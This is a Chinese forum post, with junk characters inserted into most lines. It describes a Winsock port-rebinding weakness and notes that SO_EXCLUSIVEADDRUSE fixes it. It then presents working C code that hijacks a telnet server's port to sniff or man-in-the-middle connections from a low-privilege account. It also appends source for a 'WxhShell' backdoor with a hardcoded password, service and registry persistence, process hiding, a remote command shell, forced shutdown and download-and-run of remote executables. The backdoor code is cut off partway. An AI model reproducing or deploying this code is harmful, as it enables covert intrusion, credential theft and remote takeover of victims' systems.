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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h 7*J9[$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]E{NNHK%2N  
_kC-dEGf!y  
  saddr.sin_family = AF_INET; i9:C4',sw0  
!K#qeY}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a)!o @  
p . %]Q*8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #]-SJWf3  
lPe&h]@ >  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JB\UKZXw  
p0]=QH  
  这意味着什么?意味着可以进行如下的攻击: mwO6g~@ `  
^23~ZHu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1wii8B6  
2zX]\s?3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B4ZBq%Z_  
ynp8r f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YByLoM*  
Q1lyj7c#x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V~qNyOtA]  
~ \r*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HGl|-nW>  
TbMW|0 #w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \a<wKTkn  
hy9\57_#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1l9 G[o *  
*nd!)t  
  #include v<k?Vu  
  #include )J=!L\  
  #include D2 #ZpFp"h  
  #include    I2XU(pYU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6]i-E>p3R  
  int main() S*pGMuui  
  { Xa[.3=bV?  
  WORD wVersionRequested; y4yhF8E>;U  
  DWORD ret; ^ "E^zHM(  
  WSADATA wsaData; UB@Rs|)  
  BOOL val; ip\sXVR  
  SOCKADDR_IN saddr; z>xmRs   
  SOCKADDR_IN scaddr; rD tY[  
  int err; K&u_R  
  SOCKET s; 1pVS&0W  
  SOCKET sc; .C%<P"=J4h  
  int caddsize; D#aDv0b  
  HANDLE mt; b\f O8{k  
  DWORD tid;   #x@$ lc=k3  
  wVersionRequested = MAKEWORD( 2, 2 ); oueC  
  err = WSAStartup( wVersionRequested, &wsaData ); 7Y lchmd  
  if ( err != 0 ) { WH%g(6w1j  
  printf("error!WSAStartup failed!\n"); cs48*+m  
  return -1; _r#Z}HK  
  } qyb?49I  
  saddr.sin_family = AF_INET; '(6z. toQ  
   P-[-pi@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I]|Pq  
oE @a'*.\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3l]lwV  
  saddr.sin_port = htons(23); 'B$yo]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &/Z /Y ]  
  { J[&@PUy  
  printf("error!socket failed!\n"); 5"VTK  
  return -1; 7jrt7[{  
  } t mn tp  
  val = TRUE; y<UK:^t31V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j{ ]I]\=?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) alJ)^OSIe  
  { 2F;y;l%  
  printf("error!setsockopt failed!\n"); E#34Wh2z  
  return -1; s3N'02G  
  } MBK^FR-K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [> 3./YH`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #!B4 u?"m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !"e5h`/ADM  
B^=-Z8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t3WiomNCc  
  { .N;=\C*  
  ret=GetLastError(); ;._ l 0Jw  
  printf("error!bind failed!\n"); eSn+B;  
  return -1; Vsr.=Nd=  
  } 1NFsb-<u  
  listen(s,2); J6"9v;V  
  while(1) -]Bq|qTH[(  
  { >tS'Q`R  
  caddsize = sizeof(scaddr); d7^}tM  
  //接受连接请求 b#c:u2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (y'hyJo  
  if(sc!=INVALID_SOCKET) Y;eZ9|Ht9  
  { [|wZ77\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z{.8^u1I  
  if(mt==NULL) NSMyliM1Y  
  { ZmqKQO  
  printf("Thread Creat Failed!\n"); wVXS%4|v  
  break; &<g|gsG`  
  } Jumgb  
  } &;6`)M{*}  
  CloseHandle(mt); 1UgEI"#a6g  
  } `cn#B BV  
  closesocket(s); 2ACCh4(/P  
  WSACleanup(); H H)!_(SA  
  return 0; of~4Q{f$6  
  }   &3>)qul  
  DWORD WINAPI ClientThread(LPVOID lpParam) m,28u3@r  
  { ;]puq  
  SOCKET ss = (SOCKET)lpParam; _RYxD"m y  
  SOCKET sc; ;LfXi 8)  
  unsigned char buf[4096]; %Qgw7p4  
  SOCKADDR_IN saddr; hW' )Sp  
  long num; h8j.(  
  DWORD val; B4/>H|  
  DWORD ret; ? V1*cVD6i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yu {d! {6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t,Lrfv])  
  saddr.sin_family = AF_INET; >{ ]%F*p4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G5_=H,Vmd  
  saddr.sin_port = htons(23); TprTWod2]t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M.D1XX 1/  
  { 1nM  #kJ"  
  printf("error!socket failed!\n"); ldcqe$7,  
  return -1; 68|E9^`l  
  } S\EyCi+  
  val = 100; f%JIp#B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ITQA0PI SL  
  { w(Ovr`o?9t  
  ret = GetLastError(); )}R0Y=e  
  return -1; yN0Vr\r2  
  } ]! &FKy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BZ#(   
  { Y Uc+0  
  ret = GetLastError(); pad*oPH,  
  return -1; g axsv[W>^  
  } P8 c`fbkX2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2DrM3ZU8  
  { 9=M$AB  
  printf("error!socket connect failed!\n"); ;+_:,_  
  closesocket(sc); Q}JOU  
  closesocket(ss); BVQqY$>  
  return -1; |i*37r6]=  
  } u#fM_>ML  
  while(1) /62!cp/F/D  
  { P5V}#;v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6wRd<]C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K3&qq[8.e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c):/!Q  
  num = recv(ss,buf,4096,0); 539>WyG5  
  if(num>0) ]mq|w  
  send(sc,buf,num,0); m~ABC#,2  
  else if(num==0) -IudgO]  
  break; qo~O|~  
  num = recv(sc,buf,4096,0); EWt[z.`T1  
  if(num>0) //MUeTxR  
  send(ss,buf,num,0); **0~K";\  
  else if(num==0) sdrfsrNvB-  
  break; %0?KMRr  
  } xu%k~4cB,  
  closesocket(ss); qZh/IW  
  closesocket(sc); aK~8B_5k8  
  return 0 ; 8`{:MkXP  
  } (m}'4et~L  
a!SiX  
pF>i-i  
========================================================== }&D WaO]J7  
{WS;dX4  
下边附上一个代码,,WXhSHELL uMv,zO5  
bWS&Yk(  
========================================================== <dNOd0e  
3`?7 <YJ  
#include "stdafx.h" T<>,lQs(a  
M0"_^?  
#include <stdio.h> y<3-?}.aZ  
#include <string.h> e{H=dIa+  
#include <windows.h> Zl!kJ:0  
#include <winsock2.h> RBd7YWo\|j  
#include <winsvc.h> 8W7J3{d  
#include <urlmon.h> I][*j  
Lb-OsKU  
#pragma comment (lib, "Ws2_32.lib") ]5cT cX;Z#  
#pragma comment (lib, "urlmon.lib") ?UR0:f:}oc  
 }v{LRRi  
#define MAX_USER   100 // 最大客户端连接数 $wa{~'  
#define BUF_SOCK   200 // sock buffer E&w7GZNt  
#define KEY_BUFF   255 // 输入 buffer S13nL^=i  
^DLfY-F+j  
#define REBOOT     0   // 重启 6|=f$a  
#define SHUTDOWN   1   // 关机 2[yd> (`  
 /maJtX'  
#define DEF_PORT   5000 // 监听端口 d1T!+I  
4at?(B+  
#define REG_LEN     16   // 注册表键长度 DCa^ u'f  
#define SVC_LEN     80   // NT服务名长度 9=tIz  
d-ko ^Y0  
// 从dll定义API G*MUO#_iuh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7A7?GDW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8Fh)eha9f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >'$Mp<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y@iS_lR  
N~gzDQ3  
// wxhshell配置信息 ej d(R+  
struct WSCFG { /nsX]V6i  
  int ws_port;         // 监听端口 pki%vRY  
  char ws_passstr[REG_LEN]; // 口令 r5/0u(\LB  
  int ws_autoins;       // 安装标记, 1=yes 0=no T>Z<]s  
  char ws_regname[REG_LEN]; // 注册表键名 0mVNQxHI  
  char ws_svcname[REG_LEN]; // 服务名 |r/"  |`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gJ{)-\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fo_sgv8O<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H?Wya.7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gQuw1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [|L<_.8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B6 ;|f'e!  
} OR+Io  
}; j (d~aqW  
"k@/ 3  
// default Wxhshell configuration \)[j_^  
struct WSCFG wscfg={DEF_PORT, & .j&0WE  
    "xuhuanlingzhe", ^ytrK Q  
    1, JbbzV>  
    "Wxhshell", ,0sm  
    "Wxhshell", qDIZJ h  
            "WxhShell Service", U)gH}0n&  
    "Wrsky Windows CmdShell Service", =WATyY:s  
    "Please Input Your Password: ", _VN?#J)o  
  1, 6 "sSoj  
  "http://www.wrsky.com/wxhshell.exe", B9 uoVcW  
  "Wxhshell.exe" yyJ  f%{  
    }; ]m<$}  
I236 RIq  
// 消息定义模块  (ZizuHC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F>l] 9!P|m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RqrdAkg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P@B]  
char *msg_ws_ext="\n\rExit."; reWot&;  
char *msg_ws_end="\n\rQuit."; ^x,YW]AS}  
char *msg_ws_boot="\n\rReboot..."; O/C rd/  
char *msg_ws_poff="\n\rShutdown..."; t:Q*gW Rh  
char *msg_ws_down="\n\rSave to "; A/s?x>QA  
LRA8p<Rs  
char *msg_ws_err="\n\rErr!"; WT=;:j  
char *msg_ws_ok="\n\rOK!"; SnfYT)Ph  
4VSU8tK|N]  
char ExeFile[MAX_PATH]; Sm|6 %3  
int nUser = 0; VA5xp]  
HANDLE handles[MAX_USER]; CCx&7f  
int OsIsNt; Hn"RH1Zy  
9A=,E&  
SERVICE_STATUS       serviceStatus; 4HlQ&2O%#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IJ"q~r$  
D@.6>:;il  
// 函数声明 0e4{{zQx  
int Install(void); eauF ~md,  
int Uninstall(void); 0h_|t-9j  
int DownloadFile(char *sURL, SOCKET wsh); T8g$uFo  
int Boot(int flag); /x$nje,.  
void HideProc(void); ;_(4Q*Yx  
int GetOsVer(void); Q2gq}c~  
int Wxhshell(SOCKET wsl); TeM|:o  
void TalkWithClient(void *cs); QWYJ *  
int CmdShell(SOCKET sock); lo+A%\1  
int StartFromService(void); Xv^qVn4  
int StartWxhshell(LPSTR lpCmdLine); i/4>2y9/F4  
tD)J*]G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ga+dt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a~w$#fo"`f  
L8B! u9%  
// 数据结构和表定义 77Y/!~kd  
SERVICE_TABLE_ENTRY DispatchTable[] = w?[upn:K  
{ 7. oM J  
{wscfg.ws_svcname, NTServiceMain}, fHFE){  
{NULL, NULL} y6a3t G  
}; k(HUUH_z  
|L ev.,,Ph  
// 自我安装 %ET+iIhK  
int Install(void) g 7H(PF?  
{ XL ^GZ  
  char svExeFile[MAX_PATH]; <5051U Eu  
  HKEY key; 2+XA X:YD  
  strcpy(svExeFile,ExeFile); ;V!D :5U  
@VEb{ w[H  
// 如果是win9x系统,修改注册表设为自启动 |6- nbj  
if(!OsIsNt) { 2>%=U~5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HRA|q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x%B%f`]8  
  RegCloseKey(key); GbI/4<)l}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a7opCmL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !nnC3y{G  
  RegCloseKey(key); > (<f 0  
  return 0; $& c*'3  
    } *.[. {qG(  
  } Pm7}"D'/  
} tw@X> G1z  
else { @0''k  
~n_HP_Kf?  
// 如果是NT以上系统,安装为系统服务 He@KV=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^\m![T\bX  
if (schSCManager!=0) TWTb?HP  
{ ccxNbU  
  SC_HANDLE schService = CreateService 0y\Z9+G:  
  ( i%?*@uj  
  schSCManager, * ;FdD{+  
  wscfg.ws_svcname, a<e[e>  
  wscfg.ws_svcdisp, SpBy3wd  
  SERVICE_ALL_ACCESS, ~xTt204S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LghfM"g  
  SERVICE_AUTO_START, u ga_T  
  SERVICE_ERROR_NORMAL, vY3h3o  
  svExeFile, [-w%/D%@  
  NULL, .}+}8[p4l  
  NULL, *-X[u:  
  NULL, %BODkc Zh  
  NULL, PA*5Bk="q  
  NULL "[N!m1i:{  
  ); ;tf=gdX;  
  if (schService!=0) DY*N|OnqJ  
  { EU#^7  
  CloseServiceHandle(schService); |7~<Is~ *  
  CloseServiceHandle(schSCManager); >$7B wO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zH r_!~  
  strcat(svExeFile,wscfg.ws_svcname); Z\sDUJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '"s@enD0y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %yC,^  
  RegCloseKey(key); v$9y,^p@e  
  return 0; pgo$ 61  
    } DmcZta8n]  
  } 8P`"M#fI  
  CloseServiceHandle(schSCManager); kx^/*~ex  
} K=&>t6s<  
} *qq+jsA6wH  
Zd+bx*rD  
return 1; W,u:gzmhw  
} lTsjxw o  
iy"*5<;*DD  
// 自我卸载 MQ2_`pi  
int Uninstall(void) |W^IlqTH  
{ jEwIn1  
  HKEY key; khd4ue$  
7>RY/O;Z,  
if(!OsIsNt) { 6LhTBV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5r0YA IJ  
  RegDeleteValue(key,wscfg.ws_regname); 4p wH>1  
  RegCloseKey(key); ?7A>+EY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X>^fEQq"  
  RegDeleteValue(key,wscfg.ws_regname); xz]~ jL@-]  
  RegCloseKey(key); a'T;x`b8U,  
  return 0; dr"1s-D4IQ  
  } ~J]qP#C  
} rl.}%Ny  
} 7 8,n%=nG  
else { X3& Jb2c2  
^J{:x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PY'2h4IL  
if (schSCManager!=0) y7<|_:00  
{ CJyevMf'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +[ZY:ZQ  
  if (schService!=0) #9s,# }  
  { (k P9hcV  
  if(DeleteService(schService)!=0) { xD7]C|8o  
  CloseServiceHandle(schService); /{2,zW  
  CloseServiceHandle(schSCManager); *WZA9G#V5  
  return 0; 4ppz,L,4  
  } JGZBL{8  
  CloseServiceHandle(schService); n"8Yv~v*2j  
  } EX"yxZ~  
  CloseServiceHandle(schSCManager); K NOIZj   
} n{jGOfc  
} "  1tH  
>mkFV@`  
return 1; jWgX_//!  
} s#MPX3itK  
FTldR;}(  
// 从指定url下载文件 %2h>-.tY  
int DownloadFile(char *sURL, SOCKET wsh) 8XaQAy%d]  
{ 8CE = 4  
  HRESULT hr; iRBfx  
char seps[]= "/"; +,l-Nz  
char *token; 'fW-Y!k%  
char *file; L50n8s  
char myURL[MAX_PATH]; wM{s|Ay  
char myFILE[MAX_PATH]; {h4E8.E  
tX[WH\(xI  
strcpy(myURL,sURL); bd`P0f?  
  token=strtok(myURL,seps); F[MFx^sT{  
  while(token!=NULL) MfkZ  
  { T>>c2$ x  
    file=token; u:b=\T L  
  token=strtok(NULL,seps); p}P-6&k,U  
  } #z42C?V  
cb bFw  
GetCurrentDirectory(MAX_PATH,myFILE); d5-qZ{W  
strcat(myFILE, "\\"); r<\u6jF  
strcat(myFILE, file); }2oc#0  
  send(wsh,myFILE,strlen(myFILE),0); X{VOAcugr  
send(wsh,"...",3,0); /@5YW"1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 13f)&#, F  
  if(hr==S_OK) )}v l\7=  
return 0; P {'b:C  
else 2zpr~cB=  
return 1; DwF hK*  
@|!z9Y*  
} Z:gyz$9w  
7 [7"A  
// 系统电源模块 JS77M-Ac  
int Boot(int flag) 92{\B- l  
{ ?ubro0F:  
  HANDLE hToken; $d4n"+7  
  TOKEN_PRIVILEGES tkp; '>" 4  
^@]3R QB  
  if(OsIsNt) { `mqMLo *  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \NC3'G:Ii  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nFn5v'g  
    tkp.PrivilegeCount = 1; N g,j#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w =KPT''!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %)n=x ne  
if(flag==REBOOT) { Ho%CDz z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +[P{&\d4}  
  return 0; Zc2PepIg  
} 0YHFvy)  
else { Dh*n!7lD`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g&.=2uP  
  return 0; @PU [:;  
} PW4q~rc=:  
  } 0$njMnB2l  
  else { #;<Y[hR{P  
if(flag==REBOOT) { @ |r{;'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F}zDfY\-  
  return 0; z)"=:o7  
} ~XIb\m9H  
else { ,0k;!YK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f!"w5qC^  
  return 0; gFh*eCo   
} +h$ 9\  
} cnLro  
 3CJwj  
return 1; KTv$  
} -YE^zzh  
;Qq\DFe.w  
// win9x进程隐藏模块 ~5g~;f[4  
void HideProc(void) r/1(]#kOX  
{ [ 3HfQ  
ctUp=po  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wS*E(IAl  
  if ( hKernel != NULL ) Y ay?=Y{  
  { Mfs?x a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N;gfbh]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;\]@K6m/Ap  
    FreeLibrary(hKernel); *`U~?q}  
  } 0aAoV0fMDz  
2?x4vI np;  
return; BuwY3F\-O  
} Xeaj xcop#  
4R*,VR.K  
// 获取操作系统版本 #b`k e/P  
int GetOsVer(void) fZ. ONq  
{ *] (iS  
  OSVERSIONINFO winfo; l^qI, M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _j3fAr(V  
  GetVersionEx(&winfo); M`>E|" <  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1"g<0 W  
  return 1; >V~E]P%@  
  else Lv%x81]K  
  return 0; r3Ykz%6  
} /o[w4d8  
Q;u pau  
// 客户端句柄模块 HV.t6@\};  
int Wxhshell(SOCKET wsl) O84i;S+-p  
{ #F#%`Rv1  
  SOCKET wsh; A's{j7  
  struct sockaddr_in client; g){<y~Mk  
  DWORD myID; RZ7@cQY  
>/|*DI-HJ  
  while(nUser<MAX_USER) Uv.)?YeGh  
{ nlYNN/@"  
  int nSize=sizeof(client); OCUr{Nh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &vJH$R  
  if(wsh==INVALID_SOCKET) return 1; :>*7=q=  
r,udO,Yi=c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  J *yg&  
if(handles[nUser]==0) Ib`XT0k  
  closesocket(wsh); /\Ef%@  
else 9UkBwS`  
  nUser++; E3i4=!Y  
  } Zh,71Umz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g ?k=^C  
IU[ [ H#  
  return 0; #jk_5W  
} TO_e^A#  
`g,..Ns-r  
// 关闭 socket Ngwb Q7)  
void CloseIt(SOCKET wsh) s>en  
{ H.c7Nle  
closesocket(wsh); 25T18&R  
nUser--; K;(mC<  
ExitThread(0); ^"g~-  
} OPi0~s  
,>M[@4`,U  
// 客户端请求句柄 U17d>]ka  
void TalkWithClient(void *cs) ~zgGa:uU  
{ 7"##]m.  
R=dC4;  
  SOCKET wsh=(SOCKET)cs; O=lzT~G|4  
  char pwd[SVC_LEN];  <Uur^uB  
  char cmd[KEY_BUFF]; :+Z%; Dc  
char chr[1]; =I4lL]>  
int i,j; >Q/Dk7#  
VQs5"K"  
  while (nUser < MAX_USER) { C}X\|J  
n?Q|)2 2  
if(wscfg.ws_passstr) { .N3mb6#[R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @,}UWU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DqPw#<"H  
  //ZeroMemory(pwd,KEY_BUFF); !<oe=)Iz|  
      i=0; TseGXYH  
  while(i<SVC_LEN) { ~@!bsLSMU  
*#2h/Q.  
  // 设置超时 j+!v}*I![  
  fd_set FdRead; 9ati`-y2  
  struct timeval TimeOut; ~[ F`"  
  FD_ZERO(&FdRead); )1z@  
  FD_SET(wsh,&FdRead); pw#-_  
  TimeOut.tv_sec=8; @L`jk+Y0vF  
  TimeOut.tv_usec=0; >sF)Bo Lc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cS$_\65  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); edD)TpmE,  
(BM47 D=v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .d*8C,  
  pwd=chr[0]; FsPw1A$y  
  if(chr[0]==0xd || chr[0]==0xa) { : DNjhZ  
  pwd=0; RNL9>7xV  
  break; D=$)n_F  
  } #z(]xI)"  
  i++; xoL\us`A  
    } +mPx8P&%  
-/4P3SG/  
  // 如果是非法用户,关闭 socket Kq!3wb;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }b}m3i1  
} jCY %|  
x38 QD;MT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b$7 +;I;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  k'YTpO  
zqku e%^?-  
while(1) { 7^285)UQA  
NHt\ U9l'  
  ZeroMemory(cmd,KEY_BUFF); rjP/l6 ~'  
0_/[k*Re  
      // 自动支持客户端 telnet标准   y} '@R$  
  j=0; 2!\D PX  
  while(j<KEY_BUFF) { JC"z&ka  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0]L"H<W  
  cmd[j]=chr[0]; m'U0'}Ld};  
  if(chr[0]==0xa || chr[0]==0xd) { N+|d3X!  
  cmd[j]=0; m~|40)   
  break; ;"I^ZFYX  
  } cNrg#Asen&  
  j++; /QQ*8o8  
    } Q59suL   
?0.NIu,,o  
  // 下载文件 +3gp%`c4  
  if(strstr(cmd,"http://")) { =wJX 0A|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K"6vXv4QO  
  if(DownloadFile(cmd,wsh)) iscz}E,Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Z#-Ht  
  else X2_=agEP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  }ZI7J  
  } V9vTsmo(  
  else { Iv *<L a  
\['Cj*ek  
    switch(cmd[0]) { / FII07V  
  :s,Z<^5a)g  
  // 帮助 n<,BmVQ  
  case '?': { ,uvRi)O>a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zA 3_Lx!  
    break; kM 6 Qp  
  } NbobliC=  
  // 安装 |)&%A%m  
  case 'i': { GyIV Hby  
    if(Install()) Xvv6~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1lNAcpeM  
    else _!6jR5&r,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f3;5Am  
    break; >?b!QU* a  
    } PCvWS.{  
  // 卸载 ?[AD=rUC  
  case 'r': { c$,P ~W s'  
    if(Uninstall()) oDR%\VY6T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E./2jCwI(Y  
    else :/#rZPPF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > I?IPQB  
    break; 8}[).d160  
    } XX@ZQcN  
  // 显示 wxhshell 所在路径 7/H)Az@i45  
  case 'p': { [GR; ?R5  
    char svExeFile[MAX_PATH]; a[C@  
    strcpy(svExeFile,"\n\r"); KXy6Eno  
      strcat(svExeFile,ExeFile); $ `c:&  
        send(wsh,svExeFile,strlen(svExeFile),0); j.Hf/vi`z  
    break; +0&/g&a\R  
    } osRy e3  
  // 重启 ]lbuy7xj63  
  case 'b': { }6#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1^}+=~  
    if(Boot(REBOOT))  g(052]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f 2.HF@  
    else {  \zkg  
    closesocket(wsh); @- xjfC\d  
    ExitThread(0); ]'}L 1r  
    } )UR7i8]!0  
    break; VRMXtQ*1Dm  
    } E.TAbD&5(  
  // 关机 ,2q-D&)\Z  
  case 'd': {  &HW9Jn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O?2DQY?jT  
    if(Boot(SHUTDOWN)) +R&gqja  
